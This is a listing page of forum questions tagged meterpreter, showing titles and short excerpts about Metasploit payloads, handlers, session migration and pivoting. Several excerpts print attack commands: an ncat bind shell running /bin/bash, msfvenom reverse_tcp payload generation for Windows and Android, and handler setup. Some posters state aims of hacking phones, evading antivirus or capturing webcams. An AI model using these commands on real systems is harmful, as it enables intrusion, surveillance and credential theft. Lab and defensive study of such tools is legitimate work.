Questions tagged [meterpreter]
The meterpreter tag has no usage guidance.
124
questions
1
vote
1answer
4k views
Nothing happens when payload runs [closed]
i have a problem with using meterpreter. Here's what i did i'll tell it by using pictures of what i do step by step.
First i created my payload and set the LHOST to my public ip address and generate ...
1
vote
1answer
4k views
Upgrade a ncat bind shell to meterpreter [closed]
During penetration tests, I am often able to open a Ncat Bind Shell on the victim system (linux), which opens a port that I can then connect to:
nc -l -v -k -e /bin/bash -p 4444
I now want to ...
1
vote
1answer
3k views
Can a meterpreter session be reopened? [closed]
I tried to hack multiple android phones using .apk files but everytime the session lasts 5-10 seconds:
[*] 94.243.71.172 - Meterpreter session 1 closed. Reason: Died
Then, to open a new session ...
1
vote
1answer
762 views
Meterpreter detach command
In a meterpreter reverse_https session when I use the detach command it closes my current session and then creates another, what it is the purpose of this?
1
vote
2answers
337 views
Is it possible to execute metasploit exploits from Meterpreter?
I have an attack scenario, first I send a malicious pdf to my victim, then I have a reverse tcp shell (Meterpreter session) on his computer then I want to exploit a samba server (which is already ...
1
vote
0answers
81 views
How does meterpreter STDAPI bypass window's webcam restriction's settings
How does the stdapi commands 'webcam_snap' and 'webcam_stream' in meterpreter session bypass webcam restrictions/privacy settings on windows? I want to know how one could replicate this for prevention ...
1
vote
0answers
298 views
seDebugPrivilege and OpenProcess() - Trying to understand how Windows restricts access to a process' virtual memory
I’ve been trying to understand how operating systems protect processes from each other. My understanding of Windows security is that a process can call OpenProcess() (thereby allowing read and write ...
1
vote
1answer
809 views
Cannot execute program with Meterpreter on target OS
I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious.
I used the eternalblue exploit to gain access to the victim's ...
1
vote
0answers
272 views
Meterpreter record_mic automation
I am toying with the record_mic function on my laptop and noticed that no matter what i do i cannot capture a stream longer than 12 seconds or i get timeout errors. I thought this was a limitation of ...
1
vote
1answer
6k views
How to connect to a meterpreter session opened manually on the target machine
I am trying to exploit a Windows 7 VM using metasploit. I was able to open a java meterpreter session and I want to access a native meterpreter. To do so I exported a meterpreter/reverse_tcp payload ...
1
vote
0answers
56 views
Proxychains to access ports on the same host
This might be an incredible dumb question but I need to know if this concept is even possible.
I have obtained a low privileged shell on a target machine. After doing some enumeration I know the host ...
1
vote
1answer
1k views
Get the privileges of root with the user with I do an exploit with Shellshock [closed]
I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability:
use ...
1
vote
0answers
2k views
Unable to migrate meterpreter into 64 bit process? [duplicate]
How to migrate a meterpreter process into a 64 bit process?
When i run following exploit (ie_execcommand_uaf), it migrates into explorer which is 32 bit rather than to notepad.exe which is a 64 bit ...
1
vote
2answers
2k views
Run metasploit console resource scripts
Hi I want to do this in my lab environment:
When meterpreter shell is gained, automatically I want to execute console commands such as route add, jobs -K or use some other exploit or auxiliary ...
1
vote
0answers
609 views
Android meterpreter payload crashes app
I'm trying to inject a reverse_tcp meterpreter payload into my own app for educational purposes.
Loading the raw payload apk on my phone works over LAN/WAN.
I injected the payload manually by ...
1
vote
1answer
511 views
Prevent metasploit meterpreter process migration [closed]
Is there any way to prevent meterpreter process migration.?
1
vote
0answers
314 views
Setup a meterpreter session trough a vpn
this is my first post here.
I was trying to start a meterpreter session from a mac to my kali Linux machine trough a vpn but it isn't working.
I downloaded openVPN config files from vpnbook.com and ...
1
vote
1answer
4k views
Manually migrate to another process without using metasploit? [duplicate]
There is a useful meterpreter script that allows to migrate meterpreter to another process by specifying its PID.
Imagine I have my own session running. How could I migrate to another process without ...
1
vote
1answer
170 views
Meterpreter connections
If i setup a meterpreter reverse_https payload and send to multiple targets and they execute the payload whithout my handler running, when I setup the handler will they connect or do I have to have ...
1
vote
0answers
382 views
Metasploit to connect to a target behind NAT
During a pentest and I experienced a weird problem with connecting to the target machine which is behind a NAT network the scenario is basically,
they have a public ip : 1.1.1.1
and there are ...
1
vote
0answers
1k views
Metasploit payloads with VPN or proxies?
I have purchased VPN with torguard and asked them to forward ports. I run a test on the VPN IP and ports specified, and says ports closed, but they say otherwise in interface. Anyway I create a ...
1
vote
1answer
3k views
Stdapi commands not showing in meterpreter session
I created a android payload with public IP (android/meterpreter/reverse_https).
The stdapi commands(ls,cd,webcam_snap etc) are showing when the victim is in the same network.
But when I try to ...
1
vote
0answers
933 views
web view addjavascriptinterface exploit
I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far.
I am trying ...
1
vote
0answers
843 views
Attaching orphaned/stageless session meterpreter
I have problems with meterpreter reverse_https. In my engagement, I saw this message in console; "Attaching orphaned/stageless session meterpreter"
But after I lose connection, and victim connects ...
1
vote
0answers
1k views
Android not connected to kali linux with meterpreter in metasploit
I keep running into an error.
I create an apk:
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk
In the console, I configure the multi/handler:
set PAYLOAD ...
1
vote
0answers
133 views
Metasploit Plugin not interacting with Meterpreter Client
I'm developing a plugin to automate some post exploitation tasks. Two days ago all methods that interact with the client (from the client_core and stdapi) simply don't return anything, like if in a ...
1
vote
0answers
392 views
Metasploit payload problem [closed]
Recently I tested a shell vector payload. A text file converted to .bat, which is both theoretically and practically 100% undetectable by antivirus. First I tested it on my host computer for Kali ...
1
vote
0answers
1k views
How does Metasploit's payload work with a remote target?
I have some simple questions. I often use Metasploit in my pentest engagements.
It works fine when I'm inside a local network. Okay, we know that, when the payload is injected properly, it will give ...
1
vote
0answers
2k views
Meterpreter:execute command failed [closed]
When run execute -f cmd.exe -i -H, Meterpreter gave me an error:
[-] stdapi_sys_process_execute: Operation failed: 1
What is causing this, and how to resolve it?
0
votes
3answers
196 views
How can clicking on a URI infect a host? [duplicate]
I watched a generic information security awareness presentation earlier, in which all that was required for the presenter to penetrate an organisation (with a meterpreter/reverse shell), was for ...
0
votes
2answers
10k views
Meterpreter commands not working in shell [closed]
I used use multi/handler followed by set PAYLOAD windows/meterpreter/reverse_tcp then set LPORT 80 and set LHOST 192.168.0.11 after that I do exploit -j -z and go on my Windows machine connected to ...
0
votes
2answers
3k views
Meterpreter reverse_https ExitOnSession
When I'm setting the options for the reverse_https handler in metasploit, why would I set ExitOnSession to false and SessionCommunicationTimeout to 0? I don't fully understand the purpose. When I used ...
0
votes
2answers
63 views
Making My Own Custom Payload
I have tried many different tools to avoid being detected by an AV while using meterpreter exploit. Here is a list of tools I have tried: Shellter, Posh C2, Hack the World, Veil, Fat Rat, and many ...
0
votes
1answer
145 views
keep session alive
In this scenario where someone creates a meterpreter payload and sends it to the target that clicks on it, the person who sent the payload stays away from his PC and in that meantinme the target ...
0
votes
1answer
654 views
How to launch a Metasploit module with arguments in just one command
I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
0
votes
2answers
590 views
How to use standalone meterpreter exe with a USB key connected to an unlocked victim session
When I need to make a POC about why it is dangerous to let the session unlocked, I used to put a mimikatz on an USB key and get the logon credentials in clear text.
But sometimes the client has no ...
0
votes
1answer
5k views
How to set correctly set Local Host on a payload for a user outside subnet?
I'm training with labs and metasploit and there's some payloads I can send to my target and exploit it(in my subnet). If I have to exploit a payload I sent to a target outside my network which options ...
0
votes
1answer
536 views
Adding plugin to meterpreter
I'm trying to add a meterpreter plugin,
a = client.railgun.kernel32.GetLogicalDrives()["return"]
# Math magic to convert the binary to letters
drives = []
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
(...
0
votes
1answer
368 views
MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive
I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe
In ...
0
votes
1answer
110 views
Help understanding pivoting and port forwading
I am trying to learn about pivoting/port forwarding and how to take full advantage of it. If I am connected to a network with the ip 192.168.0.10 and can see that 192.168.0.11 has access to a website ...
0
votes
1answer
2k views
Metasploit - Does the multi handler sends the payload, or just listens for connection
Does the metasploit module: exploit/multi/handler
sends payloads to stagers?
Or does it just listens for an incoming connection like a netcat
listener?
Or does it do both, as needed?
0
votes
1answer
777 views
Meterpreter reverse shell alternative
What can you do if you are behind NAT but can't do port forwarding and don't want to pay for a virtual server with internet-facing IP? I read the answer to this question which suggests some tunneling ...
0
votes
1answer
2k views
From SQL Injection in SQLite to shell
I need to obtain a shell from an SQL injection over an application with sqlite database.
Currently my exploit looks like the following:
lucian@0x90:~/$ proxychains nc 10.185.10.55 1101
ProxyChains-3....
0
votes
2answers
1k views
MSFvenom payload with dynamic options
I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
0
votes
1answer
769 views
How to find external ip address a payload uses to connect back to the attacker?
I find myself targeted with a malicious .apk file. I am provided with some malicious files disguised as a genuine .apk.
I used apktool to decompile the file and collect some information about the ...
0
votes
2answers
1k views
Msfvenom meterpreter android architectures
Is there any android architecture I can set my meterpreter reverse_http payload to that works on every android phone?
Basically, when I don't set any architecture it defaults to dalvik but that ...
0
votes
1answer
1k views
Android meterpreter invalid session
Every time I use a meterpreter reverse https on an android phone over the internet, a session is created but after some seconds it says the session is not valid and it closes. When I do it on the LAN ...
0
votes
1answer
376 views
Meterpreter Webcam_snap warnings [closed]
Since I updated metasploit every time I run the webcam_snap command in meterpreter in recieve lots of warnings like the ones below, why do they appear?
Gtk-WARNING **: Theme parsing error: gtk-...
0
votes
1answer
4k views
Error when using metasploit mimikatz module
I'm working on dumping plaintext passwords from a compromised machine (it's my computer, research, blah blah blah)
Anyways, I'm getting a weird error when running the metasploit module in a ...
0
votes
1answer
537 views
How can I open a meterpreter shell on the target server after redirecting the target server to my own web server hosting the payload?
Alright, so here is what I did to a vulnhub machine after I found a XSS vulnerability in it.
Generated a reverse_tcp php payload and kept it within my web server.
Navigated to my web server's payload ...